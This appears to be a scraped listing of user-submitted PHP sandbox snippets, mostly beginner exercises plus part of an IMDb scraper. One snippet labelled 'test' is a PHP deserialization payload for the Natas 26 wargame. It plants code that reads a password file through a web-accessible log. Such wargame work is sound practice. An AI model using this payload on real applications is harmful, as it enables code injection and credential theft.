(function(a,e){a.ue_mmm||!a.ue_cel||a.ue.isBF||(a.ue_mmm=function(f){function h(a,b){var c={x:a.pageX||a.x||0,y:a.pageY||a.y||0,t:r()};!b&&A&&(c.t-A.t<y||c.x==A.x&&c.y==A.y)||(A=c,m.push(c))}function c(){if(m.length){z=G.now();for(var a=0;a<m.length;a++){var b=m[a],c=a;p=m[E];C=b;var e=void 0;if(!(e=2>c)){e=void 0;a:if(m[c].t-m[c-1].t>u)e=0;else{for(e=E+1;e<c;e++){var f=p,h=C,k=m[e];B=(h.x-f.x)*(f.y-k.y)-(f.x-k.x)*(h.y-f.y);if(B*B/((h.x-f.x)*(h.x-f.x)+(h.y-f.y)*(h.y-f.y))>t){e=0;break a}}e=1}e=!e}(D= e)?E=c-1:x.pop();x.push(b)}s=G.now()-z;q=Math.min(q,s);g=Math.max(g,s);l=(l*n+s)/(n+1);n+=1;d({k:w,e:x,min:Math.floor(1E3*q),max:Math.floor(1E3*g),avg:Math.floor(1E3*l)},{c:1});m=[];x=[];E=0}}var u=100,y=20,t=25,w="mmm1",r,b,k=a.ue,d=a.ue_cel.log,v,q=1E3,g=0,l=0,n=0,z,s,m=[],x=[],E=0,A,p,C,B,D,G=f&&f.now&&f||Date.now&&Date||{now:function(){return(new Date).getTime()}};return{on:function(a){r=a.ts;b=a.ns;k.attach&&k.attach("mousemove",h,e);v=setInterval(c,3E3)},off:function(a){b&&(A&&h(A,!0),c()); clearInterval(v);k.detach&&k.detach("mousemove",h,e)},ready:function(){return a.ue_cel&&a.ue_cel.log},reset:function(){m=[];x=[];E=0;A=null}}}(window.performance),a.ue_cel&&a.ue_cel.registerModule("mouse move module",a.ue_mmm))})(ue_csm,document); ue_csm.ue_unrt = 750; (function(d,a,s){function t(b,f){var c=b.srcElement||b.target||{},a={k:u,t:f.t,x:b.pageX,y:b.pageY,p:v(c),n:c.nodeName};d.ue_cdt&&f.dt&&(a.dt=f.dt);b.button&&(a.b=b.button);c.type&&(a.ty=c.type);c.href&&(a.r=c.href);c.id&&(a.i=c.id);c.className&&c.className.split&&(a.c=c.className.split(/\\s+/));e+=1;w(c,function(b){a.wd=b;d.ue.log(a,q)})}function x(b){if(!y(b.srcElement||b.target)){h+=1;m=!0;var f=g=d.ue.d(),c;d.ue_cdt&&n&&"function"===typeof n.now&&b.timeStamp&&(c=n.now()-b.timeStamp,c=parseFloat(c.toFixed(2))); r=a.setTimeout(function(){t(b,{t:f,dt:c})},z)}}function A(b){if(b){var a=b.filter(B);b.length!==a.length&&(p=!0,k=d.ue.d(),m&&p&&(d.ue_cmr&&k&&g&&d.ue.log({k:C,t:g,m:Math.abs(k-g)},q),l(),p=!1,k=0))}}function B(b){if(!b)return!1;var a="characterData"===b.type?b.target.parentElement:b.target;if(!a||!a.hasAttributes||!a.attributes)return!1;var c={"class":["gw-clock","gw-clock-aria","s-item-container-height-auto","feed-carousel"],id:["dealClock","deal_expiry_timer","timer"],role:["timer"]},d=!1;Object.keys(c).forEach(function(b){var e= a.attributes[b]?a.attributes[b].value:";(c[b]||").forEach(function(b){-1!==e.indexOf(b)&&(d=!0)})});return d}function y(b){if(!b)return!1;var a=(b.nodeName||").toLowerCase(),c=(b.type||").toLowerCase(),d=(b.href||").toLowerCase();b=(b.id||").toLowerCase();var e="checkbox color date datetime-local email file month number password radio range reset search tel text time url week".split(" ");if(-1!==["select"].indexOf(a)||"input"===a&&-1!==e.indexOf(c)||"a"===a&&-1!==d.indexOf("http")||-1!==["sitbreaderrightpageturner", "sitbreaderleftpageturner","sitbreaderpagecontainer"].indexOf(b))return!0}function l(){m=!1;g=0;a.clearTimeout(r)}function D(){a.ue.onSushiUnload(function(){ue.event({violationType:"unresponsive-clicks",violationCount:e,totalScanned:h},"csm","csm.ArmoredCXGuardrailsViolation.3")});a.ue.onunload(function(){ue.count("armored-cxguardrails.unresponsive-clicks.violations",e);ue.count("armored-cxguardrails.unresponsive-clicks.violationRate",e/h*100||0)})}if(a.MutationObserver&&a.addEventListener&&Object.keys&& d&&d.ue_unrt&&d.ue_utils){var z=d.ue_unrt,q="cel",u="unr_mcm",C="res_mcm",n=a.performance,v=d.ue_utils.getXPath,w=d.ue_utils.getFirstAscendingWidget,m=!1,g=0,r=0,p=!1,k=0,e=0,h=0;a.addEventListener&&(a.addEventListener("mousedown",x,!0),a.addEventListener("beforeunload",l,!0),a.addEventListener("visibilitychange",l,!0),a.addEventListener("pagehide",l,!0));a.ue&&a.ue.event&&a.ue.onSushiUnload&&a.ue.onunload&&D();(new MutationObserver(A)).observe(s,{childList:!0,attributes:!0,characterData:!0,subtree:!0})}})(ue_csm, window,document); ue_csm.ue.exec(function(g,f){if(f.ue_err){var e=";f.ue_err.addContextInfo=function(a){if(!a.logLevel||"FATAL"===a.logLevel)if(e=g.getElementsByTagName("html")[0].innerHTML){var b=e.indexOf("var ue_t0=ue_t0||+new Date();");if(-1!=b){var b=e.substr(0,b).split("\\n"),d=Math.max(b.length-5-1,0),b=b.slice(d,b.length-1);a.fcsmln=b.length+1;a.cinfo=a.cinfo||{};for(var c=0;c<b.length;c++)a.cinfo[d+c+1+"]=b[c]}b=e.split("\\n");a.cinfo=a.cinfo||{};if(!(a.f||void 0===a.l||a.l in a.cinfo))for(c=+a.l-1,d=Math.max(c- 2,0),c=Math.min(c+2,b.length-1);d<=c;d++)a.cinfo[d+1+"]=b[d]}}}},"fatals-context")(document,window); } /* ◬ */ </script> </div> <noscript> <img height="1" width="1" style=\'display:none;visibility:hidden;\' src=\'//fls-na.amazon.com/1/batch/1/OP/A1EVAM02EL8SFB:136-0179708-1357574:RC4M9JGT86H72N9QM0HS$uedata=s:%2Fgp%2Fuedata%3Fnoscript%26id%3DRC4M9JGT86H72N9QM0HS:0\' alt="/> </noscript> </div><div id="cboxOverlay" style="display: none;"></div><div id="colorbox" class=" role="dialog" tabindex="-1" style="display: none;"><div id="cboxWrapper"><div><div id="cboxTopLeft" style="float: left;"></div><div id="cboxTopCenter" style="float: left;"></div><div id="cboxTopRight" style="float: left;"></div></div><div style="clear: left;"><div id="cboxMiddleLeft" style="float: left;"></div><div id="cboxContent" style="float: left;"><div id="cboxTitle" style="float: left;"></div><div id="cboxCurrent" style="float: left;"></div><button type="button" id="cboxPrevious"></button><button type="button" id="cboxNext"></button><button id="cboxSlideshow"></button><div id="cboxLoadingOverlay" style="float: left;"></div><div id="cboxLoadingGraphic" style="float: left;"></div></div><div id="cboxMiddleRight" style="float: left;"></div></div><div style="clear: left;"><div id="cboxBottomLeft" style="float: left;"></div><div id="cboxBottomCenter" style="float: left;"></div><div id="cboxBottomRight" style="float: left;"></div></div></div><div style="position: absolute; width: 9999px; visibility: hidden; display: none; max-width: none;"></div></div><div id="video-container"><div class="modal__closed" data-reactid=".1"><div class="modal__video-container" data-reactid=".1.1"><div class="video-player__video-panel" data-reactid=".1.1.0"><div class="video-player__video-wrapper" data-reactid=".1.1.0.0"><div class="video-player__video-margin-maker" data-reactid=".1.1.0.0.0"><div class="video-player__video-container" data-reactid=".1.1.0.0.0.0"><span data-reactid=".1.1.0.0.0.0.0"><div class="arrow-left disabled" data-reactid=".1.1.0.0.0.0.0.$=1$arrow-left"></div><div class="arrow-right disabled" data-reactid=".1.1.0.0.0.0.0.$=1$arrow-right"></div><div class="video-player__header" data-reactid=".1.1.0.0.0.0.0.$=1$header"><div class="video-player__header-internal" data-reactid=".1.1.0.0.0.0.0.$=1$header.0"><div class="close-button" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.0"></div><div class="header-text-container" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.1"><div class="header-text" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.1.0"></div></div><div class="video-player__info-button" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.2"></div><div id="social-sharing-widget" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3"><div class="dropdown share-widget" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0"><button title="Share this video" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=10"><svg class="share-button" fill="#fff" viewBox="0 0 24 24" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=10.0"><path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92 1.61 0 2.92-1.31 2.92-2.92s-1.31-2.92-2.92-2.92z" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=10.0.0"></path></svg><span class="share-button-title" style="color:#fff;" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=10.1">SHARE</span></button><div class="dropdown-menu menu-right" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11"><div class="dropdown-menu-item" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=10"><a href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F" title="Share on Facebook" target="_blank" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=10.0"><span class="share-widget-sprite share facebook" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=10.0.0"></span><span data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=10.0.1">Facebook</span></a></div><div class="dropdown-menu-item" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=11"><a href="http://twitter.com/intent/tweet?text=Check%20out%20this%20video%20-%20%20from%20undefined%20-%20on%20IMDb!%20-%20https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt3823392%2F" title="Share on Twitter" target="_blank" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=11.0"><span class="share-widget-sprite share twitter" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=11.0.0"></span><span data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=11.0.1">Twitter</span></a></div><div class="dropdown-menu-item" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=12"><a href="mailto:?subject=Watch%20this%20video%20on%20IMDb!&amp;body=Check%20out%20this%20video%20-%20%20from%20undefined%20-%20on%20IMDb! - https://www.imdb.com/title/tt3823392/" title="Share by email" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=12.0"><span class="share-widget-sprite share email" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=12.0.0"></span><span data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=12.0.1">Email</span></a></div><div class="dropdown-menu-item" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13"><a href="https://www.imdb.com/title/tt3823392/" title="Click to copy" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13.0"><span class="share-widget-copy-icon" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13.0.0"><span class="share-widget-sprite share link" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13.0.0.0"></span></span><div class="share-link-descriptor" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13.0.1">Copy</div><div class="share-link-textbox" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13.0.2"><input type="text" readonly=" value="https://www.imdb.com/title/tt3823392/" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=13.0.2.0"></div></a></div><div class="dropdown-menu-item" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14"><a href="#" title="Click to copy" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14.0"><span class="share-widget-copy-icon" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14.0.0"><span class="share-widget-sprite share embed" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14.0.0.0"></span></span><div class="share-link-descriptor" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14.0.1">Embed</div><div class="share-link-textbox" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14.0.2"><input type="text" readonly=" value="<iframe src=&quot;https://www.imdb.com/videoembed/undefined&quot; allowfullscreen width=&quot;854&quot; height=&quot;400&quot;></iframe>" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=11.$/=14.0.2.0"></div></a></div></div><div class="dropdown-overlay" data-reactid=".1.1.0.0.0.0.0.$=1$header.0.3.0.$/=12"></div></div></div></div></div></span><div class="video-player__video"><div id="imdb-jw-video-1"></div></div></div></div></div><div class="video-player__sidebar" data-reactid=".1.1.0.1"><div class="video-player__sidebar-wrapper" data-reactid=".1.1.0.1.0"><div class="sidebar-close-button" data-reactid=".1.1.0.1.0.0"></div><div class="sidebar-header" data-reactid=".1.1.0.1.0.1"><div class="video-player__playlist-header" data-reactid=".1.1.0.1.0.1.0"><div class="video-player__playlist-header-title" data-reactid=".1.1.0.1.0.1.0.0">Related Videos</div><div class="video-player__playlist-header-index" data-reactid=".1.1.0.1.0.1.0.1"></div></div></div><div class="sidebar-related" data-reactid=".1.1.0.1.0.2"><div class="scrollable-area" data-reactid=".1.1.0.1.0.2.0"><div class="primary-relation-card" data-reactid=".1.1.0.1.0.2.0.0"><div class="primary-relation-poster" data-reactid=".1.1.0.1.0.2.0.0.1"><a target="_self" class="poster-link" data-reactid=".1.1.0.1.0.2.0.0.1.0"></a></div><div class="primary-relation-info" data-reactid=".1.1.0.1.0.2.0.0.2"><a target="_self" class="primary-relation-name" data-reactid=".1.1.0.1.0.2.0.0.2.0"></a></div></div><div class="sidebar-video-description" data-reactid=".1.1.0.1.0.2.0.1"><div class="content-card collapsed" data-reactid=".1.1.0.1.0.2.0.1.0"><div class="expand-collapse-card-button" data-reactid=".1.1.0.1.0.2.0.1.0.0"></div><div class="primary-text-container" data-reactid=".1.1.0.1.0.2.0.1.0.2"><div class="centered-primary-text" data-reactid=".1.1.0.1.0.2.0.1.0.2.0"><div class="title" data-reactid=".1.1.0.1.0.2.0.1.0.2.0.0"></div></div></div><div class="description" data-reactid=".1.1.0.1.0.2.0.1.0.3"></div></div></div></div></div></div></div></div></div></div></div><script src="https://db187550c7dkf.cloudfront.net/jwplayer-unlimited-8.3.3/jwplayer.js" async="></script></body></html>'; $info = str_replace("\n", " ", beyn($html, substr_count($html, '<h4 class="inline">Writer:</h4>') ? '<h4 class="inline">Writer:</h4>' : '<h4 class="inline">Writers:</h4>', '</div>')); preg_match_all($re, $info, $writs); for($i=0; $i<=(count($writs[1])>3 ? 3 : count($writs[1])-1); $i++) $writs2[$writs[1][$i]]=$writs[3][$i]; $writs = $writs2; $info2 = beyn($html, '<div class="title_wrapper">', '<div class="plot_summary_wrapper">'); preg_match_all("/href=\"\/genre(.*?)\">(.*?)<\/a>/", $info2, $genre); $genre = array_map('trim', $genre[2]); // Print the entire match result var_dump($writs); var_dump($genre);?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $num=2; switch($num) { case 1: echo "You can add"; break; case 2: echo "You can subtract"; break; case 3: echo "You can multiply"; break; case 4: echo "You can divide"; break; default: echo "Wrong choice"; } ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $num=5; if ($num==1) echo("ADD"); else if ($num==2) echo("SUBTRACT"); else if ($num==3) echo("MULTIPLY"); else if ($num==4) echo("DIVIDE"); else echo("WRONG NUMBER"); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $name="Gati"; $age =17; if (age>=17) echo("YOU ARE ADULT"); else echo("you are kid") ?> </body> </html> <html> <head> <title>Welcome to PHP</title> </head> <body> <?php echo "<h1>Welcome to PHP</h1>"; ?> </body> </html>

intro code

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27');?>"; $this->logFile = "img/natas26_lpcgonpd3ei7lp2kbupdnq6sf3.png"; // write initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } $obj = new Logger("test"); echo base64_encode(serialize($obj)); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $a = array('123', '234'); print_r($a); ?> </body> </html>

Closure to callable

<?php function printTitle(string $title) { echo PHP_EOL.PHP_EOL.PHP_EOL; echo $title . PHP_EOL; } class MyType { public function resolve($source, $args, $context, $info) { return 'Some results of arguments: ' . print_r([$source, $args, $context, $info], true); } public function getResolveFieldFn() { return [$this, 'resolve']; } } $type = new MyType; $resolveFn = $type->getResolveFieldFn(); echo "Is callable: " . is_callable($resolveFn); printTitle("Try to call with call_user_func:"); var_dump(call_user_func($resolveFn, "arg1", "arg2", "arg3", "arg4")); printTitle("Try to call as closure:"); var_dump($resolveFn("arg1", "arg2", "arg3", "arg4")); printTitle("Try to serialize"); var_dump(serialize($resolveFn));

aaaaa

<!DOCTYPE html> <html> <head> <style> table, th, td { border: 1px solid black; border-collapse: collapse; } th, td { padding: 5px; } </style> </head> <body> <table> <tr> <td>Filter Name</td> <td>Filter ID</td> </tr> <?php foreach (filter_list() as $id =>$filter) { echo '<tr><td>' . $filter . '</td><td>' . filter_id($filter) . '</td></tr>'; } ?> </table> </body> </html>

array_combine_and_array_column

<?php $letters = ['a', 'a', 'a', 'a', 'b', 'b', 'c', 'd', 'd', 'd', 'd', 'd']; $values = array_count_values($letters); $top = array_slice($values, 0, 3); $time = time(); print_r(strtotime(time())); <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

stroka po get zaprosu

<?php $get_id = $_GET['titleid']; // Массив строк, первая строка по умолчанию $text_line = array( '000', '111', '222', '333' ); if ( ! empty ($get_id) ) { switch ($get_id) { case '1': echo $text_line[1]; break; case '2': echo $text_line[2]; break; case '3': echo $text_line[3]; break; default: echo $text_line[0]; break; } } ?>

wdewewe

<?php /* Write your PHP code here */ $mwt = ['h', 'a', 'h', 'a', 'a']; print_r($mwt);?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $datetime1 = new DateTime('2018-09-11 00:00:00'); $datetime2 = new DateTime('2018-09-01 00:00:00'); $interval = $datetime1->diff($datetime2); echo $dia = $interval->format('%R%a'); if (intval($dia) < 0) { echo "<br>negativo"; echo substr($dia, 1, strlen($dia)); } else echo "<br>positivo"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $my_Str="World"; $multi_word="Multi Word Sentence"; // echo "Hello $my_Str<br>"; // echo 'Hello $my_Str<br>'; // echo '<h1>Hello World!<br></h1>'; // echo "<h1>Hello $my_Str!<br<</h1>"; // echo 'I\'ll be back<br>'; // Getting string length // echo strlen($my_Str); // echo "<br>"; //Obtaining no of words in a tring // echo str_word_count($multi_word); //Repalacing substr in a string // echo str_replace("Multi","Two",$multi_word); // echo "<br>"; //Reversing String echo strrev($multi_word); echo "<br>" ?> </body> </html> <html> <body bgcolor="aqua"> <form action="a1.php" method="post"> <center><b><font size="10" color="yellow">CA CONSOLIDATION</font></b></center> <br> <br> <center> <b> <font style="times new roman" color="green" size="6"> Name:<input type="text" name="name"><br> <br> Email:<input type="text" name="email"><br> <br> Subject:<select name="sub"><br> <option>select</option> <option>ws</option> <option>nme</option> <option>sk</option> <option>cc</option> </select> <br><br> CA1:<input type="text" name="ca1"><br> <br> CA2:<input type="text" name="ca2"><br> <br> Assignment:<input type="text" name="assg1"><br> <br> Seminar:<input type="text" name="seminar1"><br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit"> </b> </font> </center> </form> </body> </html>

var-dump-check

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $arr_ref = array ( 'old_data' => array ( 'id' => 29, 'assigned_to' => 1, 'priority' => 8, 'state' => 14, 'headline' => 'Jira reference defect', ), 'new_data' => array ( 'id' => 29, 'assigned_to' => 14, 'priority' => 8, 'state' => 14, 'headline' => 'Jira reference defect', ) ); $diff = array_diff($arr_ref['new_data'], $arr_ref['old_data']); var_dump($diff);?> </body> </html>

SHAIK

<?php class MyClass1 { public $obj1prop; } class MyClass2 { public $obj2prop; } $obj1 = new MyClass1(); $obj1->obj1prop = 1; $obj2 = new MyClass1(); $obj2->obj2prop = 2; $serializedObj1 = serialize($obj1); $serializedObj2 = serialize($obj2); // default behaviour that accepts all classes // second argument can be ommited. // if allowed_classes is passed as false, unserialize converts all objects into __PHP_Incomplete_Class object $data = unserialize($serializedObj1 , ["allowed_classes" => true]); // converts all objects into __PHP_Incomplete_Class object except those of MyClass1 and MyClass2 $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]); print($data->obj1prop); print("<br/>"); print($data2->obj2prop); ?>

bala

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; echo "hai"; ?> </body> </html>

onlinephp

<?php $array = array(); $array[0] = array(); $array[0]['name'] = 'John Doe'; $array[0]['email'] = 'john@example.com'; $array[1] = array(); $array[1]['name'] = 'Jane Doe'; $array[1]['email'] = 'jane@example.com'; $a=json_encode($array); echo $a; $array1 = array("23"=> "red","423"=> 2,"sfd"=> 4); $a=json_encode($array1);?> <?php $x = '[{ "name": "contact", "hideShow": true, "data": { "contacts": [{ "con_title": ", "con_fName": "Meter Transfer TEst", "con_lName": ", "con_job_title": ", "emails": [{ "email": ", "type": ", "primary": false, "checked": false, "nested":[{ "nest_uid":"Xyzmeaow" } ], "nest_uid": " }], "phones": [{ "phone": ", "type": ", "primary": false, "checked": false, "nest_uid": " }], "checked": false, "nest_uid": " }] }, "repeatable": true, "checkBoxSelect": true, "template_id": 101, "token": "GEN_1222_1531995302_zdqTCTiXDx", "uid": ", "syncl_block": false }, { "name": "Business", "hideShow": true, "data": { "sync_block": false, "biss_name": ", "biss_type": ", "biss_age": ", "biss_industry_sector": ", "biss_registration_no": ", "biss_vat_no": ", "biss_credit_score": ", "biss_external_ref": ", "biss_lead_source": ", "biss_visibility": false, "biss_sic": ", "checked": false, "contacts": [{ "con_title": ", "con_fName": ", "con_lName": ", "con_job_title": ", "nest_uid": ", "emails": [{ "email": ", "type": ", "primary": false, "checked": false, "nest_uid": " }], "phones": [{ "phone": ", "type": ", "primary": false, "checked": false, "nest_uid": " }], "checked": false }], "addAddress": [{ "add_bilding_num": ", "add_street_name": ", "add_town": ", "add_county": ", "add_country": ", "add_pc": ", "add_type": ", "years_at_address": ", "months_at_address": ", "sort": ", "checked": false, "nest_uid": " }] }, "repeatable": true, "checkBoxSelect": true, "template_id": 104, "token": ", "uid": ", "syncl_block": false }, { "name": "UKSite", "hideShow": true, "data": { "sync_block": false, "site_name": ", "external_rff": ", "contacts": [{ "con_title": ", "con_fName": ", "con_lName": ", "con_job_title": ", "nest_uid": ", "emails": [{ "email": ", "type": ", "primary": false, "checked": false, "nest_uid": " }], "phones": [{ "phone": ", "type": ", "primary": false, "checked": false, "nest_uid": " }], "checked": false }], "biss_addAddress": [{ "add_bilding_num": ", "add_street_name": ", "add_town": ", "add_county": ", "add_country": ", "add_pc": ", "add_type": ", "years_at_address": ", "months_at_address": ", "sort": ", "checked": false, "nest_uid": " }], "addAddress": [{ "add_bilding_num": ", "add_street_name": ", "add_town": ", "add_county": ", "add_country": ", "add_pc": ", "add_type": ", "years_at_address": ", "months_at_address": ", "sort": ", "checked": false, "nest_uid": " }], "ElecMeter": [{ "distrib_id": "123", "meter_name": ", "pes": ", "msn": ", "kva": ", "voltage": ", "ctwc": ", "mop": ", "sic": "01130", "meter_status": false, "pc": "03", "mtc": "013", "llf": "031", "mpc": "1234", "eac": "1234", "c_supplr": "123", "c_date": "01-01-2019", "smart_meter": false, "checked": false, "Rates": [{ "amount": ", "unit": ", "smart_meter": false, "checked": false, "nest_uid": " }], "select": false, "nest_uid": " }, { "distrib_id": "12", "meter_name": ", "pes": ", "msn": ", "kva": ", "voltage": ", "ctwc": ", "mop": ", "meter_status": false, "pc": "02", "mtc": "012", "llf": "021", "mpc": "123", "eac": "123", "c_supplr": ", "c_date": ", "smart_meter": false, "checked": false, "Rates": [{ "amount": ", "unit": ", "smart_meter": false, "checked": false, "nest_uid": " }], "sic": "01120", "nest_uid": " }], "GasMeter": [{ "meter_name": ", "meter_status": false, "mprn": ", "serial": ", "linked_meters": ", "aq": ", "g_c_supplr": ", "g_c_start_date": ", "g_c_end_date": ", "checked": false, "Rates": [{ "amount": ", "unit": ", "smart_meter": false, "checked": false, "nest_uid": " }], "select": false, "nest_uid": " }] }, "repeatable": true, "checkBoxSelect": true, "template_id": 105, "token": ", "uid": ", "syncl_block": false }, { "name": "Smequote", "hideShow": true, "data": { "meter_type": "Smequote", "ElecMeter": [{ "distrib_id": "12", "meter_name": ", "pes": ", "msn": ", "kva": ", "voltage": ", "ctwc": ", "mop": ", "meter_status": false, "pc": "02", "mtc": "012", "llf": "021", "mpc": "123", "eac": "123", "c_supplr": ", "c_date": ", "smart_meter": false, "checked": false, "Rates": [{ "amount": ", "unit": ", "smart_meter": false, "checked": false, "nest_uid": " }], "sic": "01120", "nest_uid": " }], "addAddress": [{ "add_bilding_num": ", "add_street_name": ", "add_town": ", "add_county": ", "add_country": ", "add_pc": ", "add_type": ", "years_at_address": ", "months_at_address": ", "sort": ", "checked": false, "nest_uid": " }], "checked": false }, "repeatable": true, "checkBoxSelect": true, "template_id": "107", "token": ", "uid": ", "syncl_block": false }, { "name": "upload", "hideShow": true, "data": [], "repeatable": true, "checkBoxSelect": true, "template_id": "108", "token": ", "uid": ", "syncl_block": false }]'; $data = json_decode($x); $cur=0; foreach ($data as $value) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $random_string = ''; for ($i = 0; $i < 10; $i++) { $random_string .= $characters[rand(0, strlen($characters)-1)]; } $teamId =2; $userId = 12; $value->data = genrate_nested_ui($value->data,$teamId,$userId); $uid = $teamId."_".$userId."_".time()."_".$random_string; $value->uid = $uid; } print_r($data); function genrate_nested_ui($innerdata,$teamId,$userId){ $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $random_string = ''; for ($i = 0; $i < 10; $i++) { $random_string .= $characters[rand(0, strlen($characters)-1)]; } $uid = $teamId."_".$userId."_".time()."_".$random_string; foreach($innerdata as $key=>$property) { if($key=='nest_uid') { if($property =='') $innerdata->nest_uid = $uid; } else if(is_array($property)) { foreach($property as $innerproperty){ genrate_nested_ui($innerproperty,$teamId,$userId); } } } return $innerdata; } ?>

count duplicate of particular number from array using php

<?php $arr=array(1,2,1,3,2); $count=0; $var1=3; foreach($arr as $value) { if($value==$var1) { $count++; } } echo $count;?>

count duplicate of particular number from array using php

<?php $arr=array(1,2,1,3,2); $count=0; $var1=3; foreach($arr as $value) { if($value==$var1) { $count++; } } echo $count;?>

EX:2

<?php $numero = 5; $a1 = 10; $a2 = 5; $a3 = 2; ?> <html> <head> <title>Exercicío 2</title> </head> <body> <?php if ($numero % $a1 == 0);{ echo "É divisivel por 10". "\n"; } if ($numero % $a1 > 0){ echo "não é divisivel por 10". "\n"; } if ($numero % $a2 == 0){ echo "É divisivel por 5". "\n"; } else if($numero % $a2 > 0){ echo "não é divisivel por 5". "\n"; } if ($numero % $a3 == 0){ echo "É divisivel por 2". "\n"; } else if($numero % $a3 > 0){ echo "não é divisivel por 2". "\n"; } ?> </body> </html>

EX:2

<?php $numero = 50; ?> <html> <head> <title>Exercicío 2</title> </head> <body> <?php if ($numero % 10 == 0);{ echo "É divisivel por 10". "\n"; } if ($numero % 5 == 0){ echo "É divisivel por 5". "\n"; } if ($numero % 2 == 0){ echo "É divisivel por 2". "\n"; } ?> </body> </html>

Jewellery Store

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <body> <div class="menu"> <?php include 'menu.php';?> </div> <h1>Welcome to my home page!</h1> <p>Some text.</p> <p>Some more text.</p> </body> </html>

sathik

